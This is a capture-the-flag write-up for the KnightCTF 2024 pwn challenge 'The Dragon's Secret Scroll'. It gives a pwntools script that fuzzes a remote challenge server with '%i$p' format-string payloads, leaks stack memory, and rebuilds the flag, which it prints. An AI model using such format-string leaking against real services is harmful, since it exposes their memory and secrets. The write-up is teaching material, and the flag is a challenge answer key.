> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/ctf/knightctf2024/pwn/the-dragons-secret-scroll.md).

#  The Dragon's Secret Scroll

## <mark style="color:red;">Challenge Description :</mark>

<div align="left"><figure><img src="/files/XrQsSWS0u4qlgA1CACSJ" alt=""><figcaption></figcaption></figure></div>

we are not given any file so we can think of format string vulenrability

<div align="left"><figure><img src="/files/6KpuR2CsH8FaD3bzcYzi" alt=""><figcaption></figcaption></figure></div>

let's build a python script that will fuzz the binary and try to extract the flag

### <mark style="color:blue;">Exploit :</mark>&#x20;

```python
from pwn import *

flag = ''

# Let's fuzz x values
for i in range(100):
    try:
        # Connect to server
        io = remote('173.255.201.51', 51337)
        # Format the counter
        # e.g. %i$p will attempt to print [i]th pointer (or string/hex/char/int)
        io.sendline('%{}$p'.format(i).encode())
        # Receive the response (leaked address followed by '.' in this case)
        io.recvuntil(b'give you.. ')
        result = io.recv()
        if not b'nil' in result:
            print(str(i) + ': ' + str(result))
            try:
                # Decode, reverse endianess and print
                decoded = unhex(result.strip().decode()[2:])
                reversed_hex = decoded[::-1]
                print(str(reversed_hex))
                # Build up flag
                flag += reversed_hex.decode()
            except BaseException:
                pass
    except EOFError:
        pass

# Print and close
info(flag)
io.close()
```

let's run the fuzzer

<div align="left"><figure><img src="/files/Irxn64xs9084jcOesELA" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Flag :</mark>&#x20;

```
KCTF{DRAGONsCrOll}
```